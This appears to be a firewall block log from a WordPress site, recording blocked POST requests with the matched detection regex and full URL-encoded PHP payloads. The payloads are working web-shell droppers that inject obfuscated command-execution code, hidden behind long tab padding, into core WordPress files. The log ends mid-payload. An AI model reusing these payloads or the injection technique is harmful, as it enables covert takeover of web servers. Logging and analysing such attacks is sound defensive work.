\/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\ncontent-length:5173\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_handler4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524event_handler7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_handler1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524event_handler6%2520%253D%2520%2522s%255Cx74r%255Cx65%255Cx61%255Cx6D_%255Cx67et_%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524config_manager%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524event_handler5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524event_handler2%2520%253D%2520%2522shell%255Cx5Fexec%2522%253B%2520%2524event_handler3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%2529%2520%257B%2520function%2520event_dispatcher%2520%2528%2520%2524dat%252C%2520%2524hld%2520%2529%257B%2520%2524pset%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524dat%2529%2520as%2520%2524char%2529%257B%2520%2524pset.%253Dchr%2528ord%2528%2524char%2529%255E%2524hld%2529%253B%2520%257D%2520return%2524pset%253B%2520%257D%2520%2524item%2520%253D%2520%2524config_manager%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%253B%2520%2524item%2520%253D%2520event_dispatcher%2528%2524item%252C%252016%2529%253B%2520if%2520%2528function_exists%2528%2524event_handler1%2529%2529%2520%257B%2520%2524event_handler1%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler2%2529%2529%2520%257B%2520print%2520%2524event_handler2%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler3%2529%2529%2520%257B%2520%2524event_handler3%2528%2524item%252C%2520%2524reference_dat%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler4%2529%2529%2520%257B%2520%2524event_handler4%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler5%2529%2520%2526%2526%2520function_exists%2528%2524event_handler6%2529%2520%2526%2526%2520function_exists%2528%2524event_handler7%2529%2529%2520%257B%2520%2524hld_pset%2520%253D%2520%2524event_handler5%2528%2524item%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524hld_pset%2529%2520%257B%2520%2524tkn_obj%2520%253D%2520%2524event_handler6%2528%2524hld_pset%2529%253B%2520%2524event_handler7%2528%2524hld_pset%2529%253B%2520print%2520%2524tkn_obj%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:48:32","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Vh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_handler4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524event_handler7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_handler1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524event_handler6%2520%253D%2520%2522s%255Cx74r%255Cx65%255Cx61%255Cx6D_%255Cx67et_%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524config_manager%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524event_handler5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524event_handler2%2520%253D%2520%2522shell%255Cx5Fexec%2522%253B%2520%2524event_handler3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%2529%2520%257B%2520function%2520event_dispatcher%2520%2528%2520%2524dat%252C%2520%2524hld%2520%2529%257B%2520%2524pset%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524dat%2529%2520as%2520%2524char%2529%257B%2520%2524pset.%253Dchr%2528ord%2528%2524char%2529%255E%2524hld%2529%253B%2520%257D%2520return%2524pset%253B%2520%257D%2520%2524item%2520%253D%2520%2524config_manager%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%253B%2520%2524item%2520%253D%2520event_dispatcher%2528%2524item%252C%252016%2529%253B%2520if%2520%2528function_exists%2528%2524event_handler1%2529%2529%2520%257B%2520%2524event_handler1%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler2%2529%2529%2520%257B%2520print%2520%2524event_handler2%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler3%2529%2529%2520%257B%2520%2524event_handler3%2528%2524item%252C%2520%2524reference_dat%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler4%2529%2529%2520%257B%2520%2524event_handler4%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler5%2529%2520%2526%2526%2520function_exists%2528%2524event_handler6%2529%2520%2526%2526%2520function_exists%2528%2524event_handler7%2529%2529%2520%257B%2520%2524hld_pset%2520%253D%2520%2524event_handler5%2528%2524item%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524hld_pset%2529%2520%257B%2520%2524tkn_obj%2520%253D%2520%2524event_handler6%2528%2524hld_pset%2529%253B%2520%2524event_handler7%2528%2524hld_pset%2529%253B%2520print%2520%2524tkn_obj%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5150\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIztvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nVh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_handler4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524event_handler7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_handler1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524event_handler6%2520%253D%2520%2522s%255Cx74r%255Cx65%255Cx61%255Cx6D_%255Cx67et_%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524config_manager%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524event_handler5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524event_handler2%2520%253D%2520%2522shell%255Cx5Fexec%2522%253B%2520%2524event_handler3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%2529%2520%257B%2520function%2520event_dispatcher%2520%2528%2520%2524dat%252C%2520%2524hld%2520%2529%257B%2520%2524pset%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524dat%2529%2520as%2520%2524char%2529%257B%2520%2524pset.%253Dchr%2528ord%2528%2524char%2529%255E%2524hld%2529%253B%2520%257D%2520return%2524pset%253B%2520%257D%2520%2524item%2520%253D%2520%2524config_manager%2528%2524_POST%255B%2522%255Cx69%255Cx74em%2522%255D%2529%253B%2520%2524item%2520%253D%2520event_dispatcher%2528%2524item%252C%252016%2529%253B%2520if%2520%2528function_exists%2528%2524event_handler1%2529%2529%2520%257B%2520%2524event_handler1%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler2%2529%2529%2520%257B%2520print%2520%2524event_handler2%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler3%2529%2529%2520%257B%2520%2524event_handler3%2528%2524item%252C%2520%2524reference_dat%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler4%2529%2529%2520%257B%2520%2524event_handler4%2528%2524item%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_handler5%2529%2520%2526%2526%2520function_exists%2528%2524event_handler6%2529%2520%2526%2526%2520function_exists%2528%2524event_handler7%2529%2529%2520%257B%2520%2524hld_pset%2520%253D%2520%2524event_handler5%2528%2524item%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524hld_pset%2529%2520%257B%2520%2524tkn_obj%2520%253D%2520%2524event_handler6%2528%2524hld_pset%2529%253B%2520%2524event_handler7%2528%2524hld_pset%2529%253B%2520print%2520%2524tkn_obj%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:35","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Rd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dat1%2520%253D%2520%25277%2527%253B%2524dat2%2520%253D%2520%25273%2527%253B%2524dat3%2520%253D%2520%25275%2527%253B%2524dat4%2520%253D%2520%25276%2527%253B%2524dat5%2520%253D%2520%2527f%2527%253B%2524dat6%2520%253D%2520%25278%2527%253B%2524dat7%2520%253D%2520%25270%2527%253B%2524dat8%2520%253D%2520%25271%2527%253B%2524dat9%2520%253D%2520%2527d%2527%253B%2524dat10%2520%253D%2520%2527e%2527%253B%2524dat11%2520%253D%2520%25272%2527%253B%2524dat12%2520%253D%2520%25274%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%2524dat2.%2524dat1.%25279%2527.%2524dat1.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%2524dat3.%25276%2527.%2527d%2527%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%25276%2527.%25278%2527.%25276%2527.%25275%2527.%2524dat4.%2527c%2527.%25276%2527.%2527c%2527.%2524dat3.%2524dat5.%2524dat4.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%2524dat3.%2524dat4.%25273%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%25271%2527.%2524dat1.%2524dat2.%2524dat1.%2524dat2.%25277%2527.%25274%2527.%2524dat4.%2524dat6.%2524dat1.%25272%2527.%25277%2527.%2524dat3%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat7.%25276%2527.%2524dat3.%2524dat4.%2527e%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%2524dat1.%25274%2527.%25277%2527.%25272%2527.%2524dat4.%25275%2527.%2524dat4.%2524dat8.%25276%2527.%2524dat9.%25275%2527.%2524dat5.%2524dat4.%2524dat1.%2524dat4.%25275%2527.%25277%2527.%25274%2527.%2524dat3.%2527f%2527.%2524dat4.%25273%2527.%25276%2527.%2524dat5.%25276%2527.%2527e%2527.%25277%2527.%25274%2527.%2524dat4.%2524dat3.%25276%2527.%2524dat10.%25277%2527.%25274%2527.%25277%2527.%25273%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2524dat2.%25276%2527.%2527c%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat2.%2524dat4.%2524dat3%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat4.%25271%2527.%25277%2527.%2524dat7.%25277%2527.%25270%2527.%25277%2527.%25272%2527.%2524dat4.%2527f%2527.%2524dat1.%25276%2527.%2524dat4.%25275%2527.%25275%2527.%2524dat5.%25277%2527.%2524dat11.%2524dat4.%25275%2527.%25277%2527.%2524dat8.%25277%2527.%25275%2527.%2524dat4.%2524dat3.%25277%2527.%2524dat2.%2524dat1.%2524dat12%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524approve_request%252C%2524holder_symbol%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524holder_symbol%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524elem_data%253D%2524mutex_lock5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524elem_data%2529%257B%2524element_fac%253D%2524mutex_lock6%2528%2524elem_data%2529%253B%2524mutex_lock7%2528%2524elem_data%2529%253Bprint%2520%2524element_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:6944\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHzDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nRd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dat1%2520%253D%2520%25277%2527%253B%2524dat2%2520%253D%2520%25273%2527%253B%2524dat3%2520%253D%2520%25275%2527%253B%2524dat4%2520%253D%2520%25276%2527%253B%2524dat5%2520%253D%2520%2527f%2527%253B%2524dat6%2520%253D%2520%25278%2527%253B%2524dat7%2520%253D%2520%25270%2527%253B%2524dat8%2520%253D%2520%25271%2527%253B%2524dat9%2520%253D%2520%2527d%2527%253B%2524dat10%2520%253D%2520%2527e%2527%253B%2524dat11%2520%253D%2520%25272%2527%253B%2524dat12%2520%253D%2520%25274%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%2524dat2.%2524dat1.%25279%2527.%2524dat1.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%2524dat3.%25276%2527.%2527d%2527%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%25276%2527.%25278%2527.%25276%2527.%25275%2527.%2524dat4.%2527c%2527.%25276%2527.%2527c%2527.%2524dat3.%2524dat5.%2524dat4.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%2524dat3.%2524dat4.%25273%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%25271%2527.%2524dat1.%2524dat2.%2524dat1.%2524dat2.%25277%2527.%25274%2527.%2524dat4.%2524dat6.%2524dat1.%25272%2527.%25277%2527.%2524dat3%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat7.%25276%2527.%2524dat3.%2524dat4.%2527e%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%2524dat1.%25274%2527.%25277%2527.%25272%2527.%2524dat4.%25275%2527.%2524dat4.%2524dat8.%25276%2527.%2524dat9.%25275%2527.%2524dat5.%2524dat4.%2524dat1.%2524dat4.%25275%2527.%25277%2527.%25274%2527.%2524dat3.%2527f%2527.%2524dat4.%25273%2527.%25276%2527.%2524dat5.%25276%2527.%2527e%2527.%25277%2527.%25274%2527.%2524dat4.%2524dat3.%25276%2527.%2524dat10.%25277%2527.%25274%2527.%25277%2527.%25273%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2524dat2.%25276%2527.%2527c%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat2.%2524dat4.%2524dat3%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat4.%25271%2527.%25277%2527.%2524dat7.%25277%2527.%25270%2527.%25277%2527.%25272%2527.%2524dat4.%2527f%2527.%2524dat1.%25276%2527.%2524dat4.%25275%2527.%25275%2527.%2524dat5.%25277%2527.%2524dat11.%2524dat4.%25275%2527.%25277%2527.%2524dat8.%25277%2527.%25275%2527.%2524dat4.%2524dat3.%25277%2527.%2524dat2.%2524dat1.%2524dat12%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524approve_request%252C%2524holder_symbol%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524holder_symbol%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524elem_data%253D%2524mutex_lock5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524elem_data%2529%257B%2524element_fac%253D%2524mutex_lock6%2528%2524elem_data%2529%253B%2524mutex_lock7%2528%2524elem_data%2529%253Bprint%2520%2524element_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%